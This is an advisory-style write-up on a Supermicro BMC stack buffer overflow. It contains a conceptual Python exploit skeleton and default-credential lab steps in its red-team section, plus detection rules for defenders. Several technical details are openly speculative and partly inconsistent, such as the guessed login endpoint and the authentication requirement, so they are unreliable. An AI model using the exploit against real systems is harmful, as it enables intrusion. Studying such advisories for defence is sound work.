CVE-2025-8076

Executive Summary

CVE-2025-8076 is a stack buffer overflow vulnerability in the Supermicro BMC web function, specifically affecting the Supermicro MBD-X13SEDW-F motherboard. An authenticated attacker can exploit this flaw by sending a specially crafted payload to the BMC web server, leading to arbitrary code execution or denial of service. With a CVSS score of 7.2 (High), this vulnerability poses a significant risk to data centers and enterprise environments using Supermicro hardware. No public proof-of-concept (PoC) or patch is currently available, but the vulnerability is confirmed in the NVD.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires BMC web login
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high privileges required reduce the immediate threat to external attackers, but once inside the network, an attacker with BMC credentials can fully compromise the system.

Deep Dive & Mechanics

The vulnerability resides in the Supermicro BMC web interface, likely in a function that processes user-supplied input without proper bounds checking. When an authenticated user sends a crafted HTTP request (e.g., via POST or GET parameters), the input is copied into a fixed-size stack buffer. By exceeding the buffer size, an attacker can overwrite the return address and other critical stack data, leading to arbitrary code execution.

Root Cause: Lack of input validation and unsafe use of functions like strcpy() or sprintf() in the BMC firmware.

Attack Scenario: An attacker with valid BMC credentials (e.g., default admin/admin) sends a malicious payload via the web interface. The payload triggers the overflow, allowing the attacker to execute shellcode or modify firmware behavior.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the BMC firmware version running on the MBD-X13SEDW-F. A patched version would include bounds checking and safe string handling.

Vulnerable Code (Conceptual):

void handle_request(char *input) {
    char buffer[256];
    strcpy(buffer, input); // Unsafe: no bounds check
    // Process buffer...
}

Patched Code (Conceptual):

void handle_request(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // Process buffer...
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Supermicro MBD-X13SEDW-F motherboard with BMC enabled.
2. Connect to the BMC web interface (default IP: 192.168.1.1).
3. Log in with default credentials (admin/admin).
4. Use a tool like curl or a custom Python script to send a crafted payload.

Exploit Code (Conceptual):

import socket

def exploit(target_ip, port=80):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, port))
    
    # Craft payload: overflow buffer with shellcode
    payload = b"A" * 256  # Fill buffer
    payload += b"BBBB"    # Overwrite return address
    payload += b"\x90" * 100  # NOP sled
    payload += b"\xcc" * 50   # INT3 (breakpoint for testing)
    
    http_request = f"POST /cgi/login.cgi HTTP/1.1\r\n"
    http_request += f"Host: {target_ip}\r\n"
    http_request += f"Content-Length: {len(payload)}\r\n"
    http_request += f"\r\n"
    http_request += payload.decode('latin-1')
    
    sock.send(http_request.encode())
    response = sock.recv(4096)
    print(response)
    sock.close()

exploit("192.168.1.1")

Note: This is a conceptual example. Actual exploitation requires reverse engineering the BMC firmware to find the exact buffer offset and valid return addresses.

Blue Team

Detection:

• Monitor BMC web logs for unusually long POST requests or repeated login attempts.
• Use network intrusion detection systems (NIDS) to flag oversized payloads.
• Implement strict access controls to the BMC interface (e.g., VPN, firewall rules).

Mitigation:

• Change default BMC credentials immediately.
• Disable BMC web interface if not needed.
• Apply firmware updates as soon as they become available.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests with payloads exceeding 256 bytes to BMC endpoints (e.g., /cgi/login.cgi).
• Host: Unexpected BMC crashes or reboots.
• Logs: Entries in BMC logs showing buffer overflow errors or segmentation faults.
• File: Modified firmware files or unexpected binaries in BMC filesystem.

Detection Engineering

YARA Rule

rule CVE_2025_8076_BMC_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-8076 in Supermicro BMC"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "POST /cgi/login.cgi" ascii wide nocase
        $s2 = "Content-Length: " ascii wide nocase
        $overflow = { 41 41 41 41 41 41 41 41 } // 8 'A's as indicator
    condition:
        $s1 and $s2 and #overflow > 32
}

Sigma Rule

title: CVE-2025-8076 Supermicro BMC Stack Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests with large payloads to Supermicro BMC
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi/login.cgi'
        sc-bytes: '>256'
    condition: selection
falsepositives:
    - Legitimate large firmware uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8076 Supermicro BMC Stack Buffer Overflow"; flow:to_server; content:"POST"; http_method; content:"/cgi/login.cgi"; http_uri; content:"Content-Length"; http_header; pcre:"/Content-Length:\s*\d{4,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Change default BMC credentials to strong, unique passwords.
   • Restrict BMC access to trusted IPs only via firewall rules.
   • Disable the BMC web interface if not required.

2. Long-term Fix:

   • Monitor Supermicro’s official support page for firmware updates.
   • Apply the patch as soon as it is released.
   • Implement network segmentation to isolate BMC traffic.

3. Compensating Controls:

   • Use a Web Application Firewall (WAF) to block oversized payloads.
   • Enable logging and alerting on BMC web access.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert